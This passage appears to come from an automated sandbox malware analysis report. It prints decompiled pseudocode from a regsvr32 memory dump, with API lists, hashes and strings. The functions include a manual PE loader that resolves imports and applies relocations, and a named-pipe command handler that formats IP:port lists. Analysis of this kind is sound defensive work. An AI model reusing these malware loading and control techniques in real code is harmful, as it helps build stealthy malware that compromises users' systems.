					_t52 = _v140;
					L17:
					if( *_t52 == 0x5c || _t52[1] == 0x3a) {
						lstrcpynW(_v16, _t52, 0x104);
					} else {
						GetCurrentDirectoryW(0x104,  &_v664);
						_push(0);
						_push(_t52);
						_push(0x9ac9d8);
						_t36 = E00999C50( &_v664);
						_v12 = _t36;
						lstrcpynW(_v16, _t36, 0x104);
						E00998DDF( &_v12, 0xfffffffe);
					}
					return 0;
				}
				_t52 = _v144;
				goto L17;
			}

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APIs

GetCommandLineW.KERNEL32 ref: 0099DEC0
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 0099DECB
lstrlenW.KERNEL32 ref: 0099DF0D
GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0099DF66
lstrcpynW.KERNEL32(?,00000000,00000104), ref: 0099DF8B
lstrcpynW.KERNEL32(?,?,00000104), ref: 0099DFA9

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: CommandLinelstrcpyn$ArgvCurrentDirectorylstrlen
String ID:
API String ID: 1259063344-0
Opcode ID: cedcc27495eae47c5f77caad286fe19cd7c739a7e95607abbe051af49cf8da20
Instruction ID: eb78968c7b46988b08ef317f42779774a034d456369394256581bd3ae1a2f911
Opcode Fuzzy Hash: cedcc27495eae47c5f77caad286fe19cd7c739a7e95607abbe051af49cf8da20
Instruction Fuzzy Hash: C0313471C25115ABDF24AB9DDCCABAEB7B8EF46350F50409AE407E7190EB708D808B90

Uniqueness

Uniqueness Score: -1.00%

Function 0099E6D9 Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

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APIs

SysAllocString.OLEAUT32(00000000), ref: 0099E6ED
SysAllocString.OLEAUT32(?), ref: 0099E6F5
SysAllocString.OLEAUT32(00000000), ref: 0099E709
SysFreeString.OLEAUT32(?), ref: 0099E784
SysFreeString.OLEAUT32(?), ref: 0099E787
SysFreeString.OLEAUT32(?), ref: 0099E78C

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 1b347694af4bdba32b722ad52f04cda4a8488db9b1cced20559dd3bb86ca2441
Instruction ID: 50ca2bd7b9a73672555c76c52319def7a79c55bc63c249a7fcc1270e06576b87
Opcode Fuzzy Hash: 1b347694af4bdba32b722ad52f04cda4a8488db9b1cced20559dd3bb86ca2441
Instruction Fuzzy Hash: 4821F975900218BFDF00DFA9CC88DAEBBBDEF89754B204499F505E7250DA71AE01DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009A3DC7 Relevance: 7.8, APIs: 5, Instructions: 322
libraryloaderstringCOMMON

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C-Code - Quality: 20%

			E009A3DC7(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16, intOrPtr _a20) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				signed int* _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr* _v48;
				signed short* _v52;
				intOrPtr _v56;
				unsigned int _v60;
				intOrPtr _v64;
				_Unknown_base(*)()* _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				unsigned int _v88;
				intOrPtr _v92;
				signed int _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				CHAR* _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _t216;
				signed int _t233;
				void* _t273;
				signed int _t278;
				signed int _t280;
				intOrPtr _t320;

				_v44 = _v44 & 0x00000000;
				_v84 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v20 = _v84;
				_t320 = _a4 -  *((intOrPtr*)(_v20 + 0x34));
				_v64 = _t320;
				if(_t320 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v20 + 0xbadc25)) == 0) {
						L35:
						if(_a16 == 0) {
							L54:
							_v80 =  *((intOrPtr*)(_v20 + 0x28)) + _a4;
							while(0 != 0) {
							}
							if(_a12 != 0) {
								 *_a12 = _v80;
							}
							 *((intOrPtr*)(_v20 + 0x34)) = _a4;
							_v124 = _v80(_a4, 1, _a8);
							while(0 != 0) {
							}
							if(_v124 != 0) {
								if(_v44 == 0) {
									L77:
									return 1;
								}
								if(_a20 != 1) {
									if(_a20 != 2) {
										L75:
										while(0 != 0) {
										}
										goto L77;
									}
									while(0 != 0) {
									}
									_v132 = _v44;
									goto L75;
								}
								while(0 != 0) {
								}
								_v44();
								goto L75;
							}
							while(0 != 0) {
							}
							return 0;
						}
						while(0 != 0) {
						}
						_push(8);
						if( *((intOrPtr*)(_v20 + 0x78)) == 0) {
							goto L54;
						}
						_v128 = 0x80000000;
						_t216 = 8;
						_v76 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t216 * 0));
						_v108 = _a4 +  *((intOrPtr*)(_v76 + 0x20));
						_v112 = _a4 +  *((intOrPtr*)(_v76 + 0x1c));
						_v104 =  *((intOrPtr*)(_v76 + 0x18));
						while(0 != 0) {
						}
						_v40 = _v40 & 0x00000000;
						while(_v40 < _v104) {
							_v116 = _a4 +  *((intOrPtr*)(_v108 + _v40 * 4));
							_v120 = _a4 +  *((intOrPtr*)(_v112 + _v40 * 4));
							if(lstrcmpA(_v116, _a16) != 0) {
								_v40 = _v40 + 1;
								continue;
							}
							while(0 != 0) {
							}
							_v44 = _v120;
							break;
						}
						if(_v44 != 0) {
							goto L54;
						}
						while(0 != 0) {
						}
						return 0xffffffff;
					}
					_v96 = 0x80000000;
					_t233 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v20 + (_t233 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v24 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v24 =  *_v16 + _a4;
							}
							_v72 = _v72 & 0x00000000;
							while( *_v24 != 0) {
								if(( *_v24 & _v96) == 0) {
									_v100 =  *_v24 + _a4;
									_v68 = GetProcAddress(_v36, _v100 + 2);
								} else {
									_v68 = GetProcAddress(_v36,  *_v24 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v24 = _v68;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v72) = _v68;
								}
								_v24 =  &(_v24[1]);
								_v72 = _v72 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t273 = 0xfffffffd;
							return _t273;
						}
					}
					goto L35;
				}
				_t278 = 8;
				_v52 = _a4 +  *((intOrPtr*)(_v20 + 0x78 + _t278 * 5));
				_t280 = 8;
				_v56 =  *((intOrPtr*)(_v20 + 0x7c + _t280 * 5));
				while(0 != 0) {
				}
				while(_v56 > 0) {
					_v28 = _v52[2];
					_v56 = _v56 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v52[4]);
					_v92 = _a4 +  *_v52;
					_v60 = _v28;
					while(1) {
						_v88 = _v60;
						_v60 = _v60 - 1;
						if(_v88 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v48 = (_v12 & 0x0000ffff) + _v92;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v48 =  *_v48 + _v64;
							}
						} else {
							 *_v48 =  *_v48 + _v64;
						}
						_v32 =  &(_v32[1]);
					}
					_v52 = _v32;
				}
				goto L13;
			}

0x009a3dd0
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APIs

GetModuleHandleA.KERNEL32(00000000), ref: 009A3F2E
LoadLibraryA.KERNEL32(00000000), ref: 009A3F47
GetProcAddress.KERNEL32(00000000,?), ref: 009A3FA3
GetProcAddress.KERNEL32(00000000,?), ref: 009A3FC2
lstrcmpA.KERNEL32(?,00000000), ref: 009A40B3

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModulelstrcmp
String ID:
API String ID: 1872726118-0
Opcode ID: ab21e88e1c16fba145b4098988e47a53d7becf20e6edd2290c4f2f2c82b5f74a
Instruction ID: 547050b62350abd27cb5bea92c5b87b5af49ca8f0fe36c7880b4849dc6d80f69
Opcode Fuzzy Hash: ab21e88e1c16fba145b4098988e47a53d7becf20e6edd2290c4f2f2c82b5f74a
Instruction Fuzzy Hash: 62E1BF74E14219DFCB14CFA8C880AADBBF5FF4A314F248569E915AB350C774AA81DF90

Uniqueness

Uniqueness Score: -1.00%

Function 009A1A0A Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

@, xrefs: 009A1A78
\u%04X, xrefs: 009A1B24
\u%04X\u%04X, xrefs: 009A1B63

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: @$\u%04X$\u%04X\u%04X
API String ID: 0-2132903582
Opcode ID: 56cd2a8acc6bd891eb71f3b6f549370390f9ea9cf647b84f537f41ee06e976d0
Instruction ID: 89f7bfe26e84a7782e5b9248efa0a8219d5c4621ba622b967b6e3b63e085591c
Opcode Fuzzy Hash: 56cd2a8acc6bd891eb71f3b6f549370390f9ea9cf647b84f537f41ee06e976d0
Instruction Fuzzy Hash: B1411A71B0420AABDF244DAC8D9EBBE369CEF43714F280567FD02D6284E265CD90D2E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A33DA Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 85
stringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E009A33DA(void* __edi, char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				signed int _t23;
				void* _t30;
				char* _t31;
				char* _t33;
				char* _t35;
				char* _t37;
				char* _t38;
				long long* _t40;

				_t30 = __edi;
				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t35 = _a4;
				_push(_t25);
				 *_t40 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t35);
				L009A3533();
				_t23 = _t12;
				if(_t23 < 0 || _t23 >= _a8) {
					L16:
					_t13 = _t12 | 0xffffffff;
					goto L17;
				} else {
					E009A33B3(_t12, _t35);
					if(strchr(_t35, 0x2e) != 0 || strchr(_t35, 0x65) != 0) {
						L8:
						_push(_t30);
						_t37 = strchr(_t35, 0x65);
						_t31 = _t37;
						if(_t37 == 0) {
							L15:
							_t13 = _t23;
							L17:
							return _t13;
						}
						_t38 = _t37 + 1;
						_t33 = _t31 + 2;
						if( *_t38 == 0x2d) {
							_t38 = _t33;
						}
						while( *_t33 == 0x30) {
							_t33 = _t33 + 1;
						}
						if(_t33 != _t38) {
							E00998ECB(_t38, _t33, _t23 - _t33 + _a4);
							_t23 = _t23 + _t38 - _t33;
						}
						goto L15;
					} else {
						_t6 = _t23 + 3; // 0x9a1bc5
						_t12 = _t6;
						if(_t12 >= _a8) {
							goto L16;
						}
						_t35[_t23] = 0x302e;
						( &(_t35[2]))[_t23] = 0;
						_t23 = _t23 + 2;
						goto L8;
					}
				}
			}

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APIs

_snprintf.MSVCRT ref: 009A33FE
strchr.MSVCRT ref: 009A341E
strchr.MSVCRT ref: 009A342D
strchr.MSVCRT ref: 009A3452

Strings

%.*g, xrefs: 009A33F5

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: strchr$_snprintf
String ID: %.*g
API String ID: 3619936089-952554281
Opcode ID: 45dd96d5a27f78c8e1868741482d4ce1447b4f66a884bd0fbc679119480fa4b1
Instruction ID: 2168467c2d0a4b18fc01838acd339f501ec52a8bb18f54641144988eaa8df4f3
Opcode Fuzzy Hash: 45dd96d5a27f78c8e1868741482d4ce1447b4f66a884bd0fbc679119480fa4b1
Instruction Fuzzy Hash: D3213A32A0461527DB225E6DEC86BAB37DC9F4B764F18C165FC4886291EBA4DF4043D1

Uniqueness

Uniqueness Score: -1.00%

Function 00993775 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 310
pipeCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E00993775(void* __fp0) {
				signed int _v144;
				signed int _v152;
				char _v160;
				char _v164;
				char _v168;
				signed int _v172;
				char _v176;
				intOrPtr _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				char _v200;
				signed int _v204;
				intOrPtr _t72;
				intOrPtr _t75;
				signed int _t80;
				signed int _t81;
				signed int _t84;
				signed int _t87;
				signed int _t88;
				signed int _t100;
				void* _t102;
				void* _t103;
				unsigned int* _t104;
				signed int _t110;
				signed int _t113;
				void* _t118;
				intOrPtr _t124;
				signed int _t127;
				intOrPtr _t129;
				intOrPtr _t132;
				void* _t133;
				void* _t136;
				signed int _t145;
				signed int _t147;
				signed short* _t148;
				signed int _t158;
				intOrPtr* _t182;
				void* _t186;
				void* _t187;
				void* _t188;
				signed short* _t191;
				void* _t195;
				signed int _t198;
				signed int _t199;
				signed int _t203;
				signed int _t204;
				char _t205;
				signed int _t207;
				void* _t209;
				void* _t215;
				void* _t222;

				_t222 = __fp0;
				_t209 = (_t207 & 0xfffffff8) - 0xac;
				_v144 = 0;
				_v172 = 0;
				while(1) {
					_t72 =  *0x9af8d0; // 0x452f8c0
					_push(0);
					_push( *0x9af8b4);
					_v152 = 0;
					if( *((intOrPtr*)(_t72 + 0xe0))() == 0 && GetLastError() != 0x217) {
						break;
					}
					_push(0);
					_push( &_v160);
					_t75 =  *0x9af8d0; // 0x452f8c0
					_push(0x80000);
					_push( *0x9af974);
					_push( *0x9af8b4);
					if( *((intOrPtr*)(_t75 + 0x90))() == 0 || _v180 == 0) {
						GetLastError();
						goto L56;
					} else {
						_t148 =  *0x9af974; // 0x0
						_t80 =  *_t148 & 0x0000ffff;
						_t215 = _t80 - 8;
						if(_t215 > 0) {
							_t81 = _t80 - 9;
							__eflags = _t81;
							if(_t81 == 0) {
								E009A09C3( &_v200);
								L12:
								_t84 =  &_v200;
								L13:
								_push(4);
								L14:
								_push(_t84);
								_push(5);
								L31:
								_pop(_t186);
								E0099D297(_t186);
								L32:
								L56:
								DisconnectNamedPipe( *0x9af8b4);
								_push(0);
								_pop(0);
								_push(1);
								_pop(1);
								if(_v172 == 0) {
									continue;
								}
								break;
							}
							_t87 = _t81;
							__eflags = _t87;
							if(_t87 == 0) {
								_v204 = 0;
								_t88 = E009916B0( &_v204, _t222);
								_v188 = _t88;
								__eflags = _t88;
								if(_t88 == 0) {
									_push(4);
									_v192 = 0;
									_push( &_v192);
									L19:
									_push(0xa);
									goto L31;
								}
								_t145 = _v204;
								_t90 = _t145 * 0x16;
								_v184 = _t145 * 0x16;
								_t203 = E00998DC9(_t90);
								_v192 = _t203;
								__eflags = _t203;
								if(_t203 == 0) {
									_t64 =  &_v192;
									 *_t64 = _v192 & 0x00000000;
									__eflags =  *_t64;
									_push(4);
									_push( &_v192);
									_t187 = 0xa;
									E0099D297(_t187);
									L52:
									E00998DDF( &_v188, _t145);
									goto L32;
								}
								_t198 = 0;
								__eflags = _t145;
								if(_t145 == 0) {
									L50:
									_push(E0099A5D0(_t203));
									_push(_t203);
									_t188 = 5;
									E0099D297(_t188);
									E00998DDF( &_v192, 0xffffffff);
									_t209 = _t209 + 0x10;
									goto L52;
								}
								_t158 = _v188 + 4;
								__eflags = _t158;
								_v204 = _t158;
								do {
									__eflags = _t198;
									if(_t198 != 0) {
										__eflags = _t198 - _t145 - 1;
										if(_t198 < _t145 - 1) {
											_t102 = E0099A5D0(_t203);
											_t158 = _v204;
											 *((short*)(_t102 + _t203)) = 0x3b;
										}
									}
									_t100 =  *_t158;
									_v196 = _t100;
									__eflags = _t100;
									if(_t100 != 0) {
										_t103 = E0099A5D0(_t203);
										_t104 = _v204;
										_push(_t104[1] & 0x0000ffff);
										_push( *_t104 >> 0x18);
										_push(_t104[0] & 0x000000ff);
										_push(_t104[0] & 0x000000ff);
										_t110 = E0099A5D0(_t203) + _t203;
										__eflags = _t110;
										E00999FA5(_t110, _v184 - _t103, "%u.%u.%u.%u:%u", _v196 & 0x000000ff);
										_t158 = _v204;
										_t209 = _t209 + 0x20;
									}
									_t198 = _t198 + 1;
									_t158 = _t158 + 0x20;
									_v204 = _t158;
									__eflags = _t198 - _t145;
								} while (_t198 < _t145);
								goto L50;
							}
							__eflags = _t87 != 1;
							if(_t87 != 1) {
								goto L56;
							}
							_v204 = 0;
							_t113 = E009916B0( &_v204, _t222);
							_t204 = _v204;
							_v196 = _t113;
							__eflags = _t113;
							if(_t113 != 0) {
								E00998DDF( &_v196, _t204);
							}
							_v204 = _t204 * 0x16;
							_t84 =  &_v204;
							goto L13;
						}
						if(_t215 == 0) {
							_t84 = E009A09C3( &_v200);
							L16:
							__eflags = _t84;
							if(_t84 == 0) {
								_push(0);
								_push(0);
								goto L19;
							}
							_push(_v200);
							goto L14;
						}
						_t118 = _t80 - 1;
						if(_t118 == 0) {
							_t199 = E00999D29( &(_t148[4]), 0x20, 1,  &_v176);
							_v196 = _t199;
							__eflags = _t199;
							if(_t199 == 0) {
								L30:
								_t191 =  *0x9af974; // 0x0
								E0099A06E( &_v164,  &(_t191[4]), 0x80);
								_push(0x84);
								_push( &_v168);
								_push(2);
								goto L31;
							}
							_t205 = _v176;
							__eflags = _t205 - 1;
							if(__eflags <= 0) {
								_t124 = E00991D97(E0099A102( *_t199, __eflags), 0, 0, 0);
								_t209 = _t209 + 0x10;
								_v168 = _t124;
								goto L30;
							}
							_t125 = _t205 - 1;
							_v184 = _t205 - 1;
							_t127 = E00998DC9(_t125 << 2);
							_v188 = _t127;
							__eflags = _t127;
							if(_t127 == 0) {
								goto L30;
							}
							_t147 = 1;
							__eflags = _t205 - 1;
							if(__eflags <= 0) {
								L28:
								_t129 = E00991D97(E0099A102( *_t199, __eflags), _t127, _v184, 0);
								_t209 = _t209 + 0x10;
								_v168 = _t129;
								E00999E22( &_v176);
								goto L30;
							}
							_v204 = _t127;
							do {
								_t132 = E00999A76( *((intOrPtr*)(_t199 + _t147 * 4)), E0099A5D0( *((intOrPtr*)(_t199 + _t147 * 4))));
								_t182 = _v204;
								_t147 = _t147 + 1;
								 *_t182 = _t132;
								_v204 = _t182 + 4;
								__eflags = _t147 - _t205;
							} while (__eflags < 0);
							_t127 = _v188;
							goto L28;
						}
						_t133 = _t118 - 3;
						if(_t133 == 0) {
							_push(0);
							_push(0);
							_t195 = 5;
							E0099D297(_t195);
							 *0x9af9a8 = 1;
							_v172 = 1;
							goto L56;
						}
						_t136 = _t133;
						if(_t136 == 0) {
							_t84 = E009A09A1( &_v200);
							goto L16;
						}
						if(_t136 != 1) {
							goto L56;
						}
						E009A09A1( &_v200);
						goto L12;
					}
				}
				return 0;
			}

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APIs

GetLastError.KERNEL32 ref: 009937AB

Part of subcall function 0099D297: FlushFileBuffers.KERNEL32(00000000,?,00993ABB,00000000,00000004), ref: 0099D2DD

DisconnectNamedPipe.KERNEL32 ref: 00993AF8

Strings

%u.%u.%u.%u:%u, xrefs: 00993A5B

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: BuffersDisconnectErrorFileFlushLastNamedPipe
String ID: %u.%u.%u.%u:%u
API String ID: 465096328-3858738763
Opcode ID: 0f3d1dea1d57dbb4ac2a980a8754096f35b4aeae0fcf44b44133152b2904f46f
Instruction ID: 6ce747cee5bcd247f0ea31ae332c10038ad5683399a4f4def1a0f0bccba032cd
Opcode Fuzzy Hash: 0f3d1dea1d57dbb4ac2a980a8754096f35b4aeae0fcf44b44133152b2904f46f
Instruction Fuzzy Hash: 18A1AD72508302AFDB14EF6DD885B2BB7ECEFC5310F14892EF59586181EB34DA058B92

Uniqueness

Uniqueness Score: -1.00%

Function 009A376C Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 151
libraryCOMMON

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C-Code - Quality: 50%

			E009A376C(signed int __eax, void* __ecx, intOrPtr _a4) {
				intOrPtr* _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				intOrPtr _v40;
				signed int _v44;
				struct HINSTANCE__* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _t109;
				signed int _t112;
				signed int _t115;
				void* _t163;
				void* _t167;

				_t167 = __ecx;
				_v44 = _v44 & 0x00000000;
				if(_a4 != 0) {
					_v48 = GetModuleHandleA("kernel32.dll");
					_v40 = E0099F024(_t167, _v48, "GetProcAddress");
					_v52 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
					_v32 = _v52;
					_t109 = 8;
					if( *((intOrPtr*)(_v32 + (_t109 << 0) + 0x78)) == 0) {
						L24:
						return 0;
					}
					_v56 = 0x80000000;
					_t112 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t112 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v8 = _v8 + 0x14;
					}
					_t115 = 8;
					_v8 = _a4 +  *((intOrPtr*)(_v32 + (_t115 << 0) + 0x78));
					while( *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_v36 = LoadLibraryA( *((intOrPtr*)(_v8 + 0xc)) + _a4);
						if(_v36 != 0) {
							if( *_v8 == 0) {
								_v12 =  *((intOrPtr*)(_v8 + 0x10)) + _a4;
							} else {
								_v12 =  *_v8 + _a4;
							}
							_v28 = _v28 & 0x00000000;
							while( *_v12 != 0) {
								_v24 = _v24 & 0x00000000;
								_v16 = _v16 & 0x00000000;
								_v64 = _v64 & 0x00000000;
								_v20 = _v20 & 0x00000000;
								if(( *_v12 & _v56) == 0) {
									_v60 =  *_v12 + _a4;
									_v20 = _v60 + 2;
									_v24 =  *( *((intOrPtr*)(_v8 + 0x10)) + _a4 + _v28);
									_v16 = _v40(_v36, _v20);
								} else {
									_v24 =  *_v12;
									_v20 = _v24 & 0x0000ffff;
									_v16 = _v40(_v36, _v20);
								}
								if(_v24 != _v16) {
									_v44 = _v44 + 1;
									if( *((intOrPtr*)(_v8 + 0x10)) == 0) {
										 *_v12 = _v16;
									} else {
										 *( *((intOrPtr*)(_v8 + 0x10)) + _a4 + _v28) = _v16;
									}
								}
								_v12 =  &(_v12[1]);
								_v28 = _v28 + 4;
							}
							_v8 = _v8 + 0x14;
							continue;
						}
						_t163 = 0xfffffffd;
						return _t163;
					}
					goto L24;
				}
				return __eax | 0xffffffff;
			}

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APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 009A3789
LoadLibraryA.KERNEL32(00000000), ref: 009A3822

Strings

kernel32.dll, xrefs: 009A3784
GetProcAddress, xrefs: 009A3792

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: GetProcAddress$kernel32.dll
API String ID: 4133054770-1584408056
Opcode ID: 445cf8c017b922eaa9ed6701bf72ef30507107003ffee05fe18d1aeac340b5f5
Instruction ID: 611a3a753f092126f2a2cb1292f4c6341ff76942530e167bfcd17fab54791215
Opcode Fuzzy Hash: 445cf8c017b922eaa9ed6701bf72ef30507107003ffee05fe18d1aeac340b5f5
Instruction Fuzzy Hash: 90618D75D00209EFDB00CF98C885BADBBF1FF49315F248599E855AB2A1C374AA80DF90

Uniqueness

Uniqueness Score: -1.00%

Function 009A4160 Relevance: 6.6, APIs: 5, Instructions: 341
COMMON

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C-Code - Quality: 99%

			E009A4160(int _a4, signed int _a8) {
				int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				void* _t137;
				signed int _t141;
				intOrPtr* _t142;
				signed int _t145;
				signed int _t146;
				intOrPtr _t151;
				intOrPtr _t161;
				intOrPtr _t162;
				intOrPtr _t167;
				intOrPtr _t170;
				signed int _t172;
				intOrPtr _t173;
				int _t184;
				intOrPtr _t185;
				intOrPtr _t188;
				signed int _t189;
				void* _t195;
				int _t202;
				int _t208;
				intOrPtr _t217;
				signed int _t218;
				int _t219;
				intOrPtr _t220;
				signed int _t221;
				signed int _t222;
				int _t224;
				int _t225;
				signed int _t227;
				intOrPtr _t228;
				int _t232;
				int _t234;
				signed int _t235;
				int _t239;
				void* _t240;
				int _t245;
				int _t252;
				signed int _t253;
				int _t254;
				void* _t257;
				void* _t258;
				int _t259;
				intOrPtr _t260;
				int _t261;
				signed int _t269;
				signed int _t271;
				intOrPtr* _t272;
				void* _t273;

				_t253 = _a8;
				_t272 = _a4;
				_t3 = _t272 + 0xc; // 0x452bf84d
				_t4 = _t272 + 0x2c; // 0x8df075ff
				_t228 =  *_t4;
				_t137 =  *_t3 + 0xfffffffb;
				_t229 =  <=  ? _t137 : _t228;
				_v16 =  <=  ? _t137 : _t228;
				_t269 = 0;
				_a4 =  *((intOrPtr*)( *_t272 + 4));
				asm("o16 nop [eax+eax]");
				while(1) {
					_t8 = _t272 + 0x16bc; // 0x5d08408b
					_t141 =  *_t8 + 0x2a >> 3;
					_v12 = 0xffff;
					_t217 =  *((intOrPtr*)( *_t272 + 0x10));
					if(_t217 < _t141) {
						break;
					}
					_t11 = _t272 + 0x6c; // 0x51ec8b55
					_t12 = _t272 + 0x5c; // 0xee85000
					_t245 =  *_t11 -  *_t12;
					_v8 = _t245;
					_t195 =  *((intOrPtr*)( *_t272 + 4)) + _t245;
					_t247 =  <  ? _t195 : _v12;
					_t227 =  <=  ?  <  ? _t195 : _v12 : _t217 - _t141;
					if(_t227 >= _v16) {
						L7:
						if(_t253 != 4) {
							L10:
							_t269 = 0;
							__eflags = 0;
						} else {
							_t285 = _t227 - _t195;
							if(_t227 != _t195) {
								goto L10;
							} else {
								_t269 = _t253 - 3;
							}
						}
						E009A7180(_t272, _t272, 0, 0, _t269);
						_t18 = _t272 + 0x14; // 0xc703f045
						_t19 = _t272 + 8; // 0x8d000040
						 *( *_t18 +  *_t19 - 4) = _t227;
						_t22 = _t272 + 0x14; // 0xc703f045
						_t23 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t22 +  *_t23 - 3)) = _t227 >> 8;
						_t26 = _t272 + 0x14; // 0xc703f045
						_t27 = _t272 + 8; // 0x8d000040
						 *( *_t26 +  *_t27 - 2) =  !_t227;
						_t30 = _t272 + 0x14; // 0xc703f045
						_t31 = _t272 + 8; // 0x8d000040
						 *((char*)( *_t30 +  *_t31 - 1)) =  !_t227 >> 8;
						E009A5EE0(_t285,  *_t272);
						_t202 = _v8;
						_t273 = _t273 + 0x14;
						if(_t202 != 0) {
							_t208 =  >  ? _t227 : _t202;
							_v8 = _t208;
							_t36 = _t272 + 0x38; // 0xf47d8bff
							_t37 = _t272 + 0x5c; // 0xee85000
							memcpy( *( *_t272 + 0xc),  *_t36 +  *_t37, _t208);
							_t273 = _t273 + 0xc;
							_t252 = _v8;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t252;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t252;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t252;
							 *(_t272 + 0x5c) =  *(_t272 + 0x5c) + _t252;
							_t227 = _t227 - _t252;
						}
						if(_t227 != 0) {
							E009A6020( *_t272,  *( *_t272 + 0xc), _t227);
							_t273 = _t273 + 0xc;
							 *( *_t272 + 0xc) =  *( *_t272 + 0xc) + _t227;
							 *((intOrPtr*)( *_t272 + 0x10)) =  *((intOrPtr*)( *_t272 + 0x10)) - _t227;
							 *((intOrPtr*)( *_t272 + 0x14)) =  *((intOrPtr*)( *_t272 + 0x14)) + _t227;
						}
						_t253 = _a8;
						if(_t269 == 0) {
							continue;
						}
					} else {
						if(_t227 != 0 || _t253 == 4) {
							if(_t253 != 0 && _t227 == _t195) {
								goto L7;
							}
						}
					}
					break;
				}
				_t142 =  *_t272;
				_t232 = _a4 -  *((intOrPtr*)(_t142 + 4));
				_a4 = _t232;
				if(_t232 == 0) {
					_t83 = _t272 + 0x6c; // 0x51ec8b55
					_t254 =  *_t83;
				} else {
					_t59 = _t272 + 0x2c; // 0x8df075ff
					_t224 =  *_t59;
					if(_t232 < _t224) {
						_t65 = _t272 + 0x3c; // 0x830cc483
						_t66 = _t272 + 0x6c; // 0x51ec8b55
						_t260 =  *_t66;
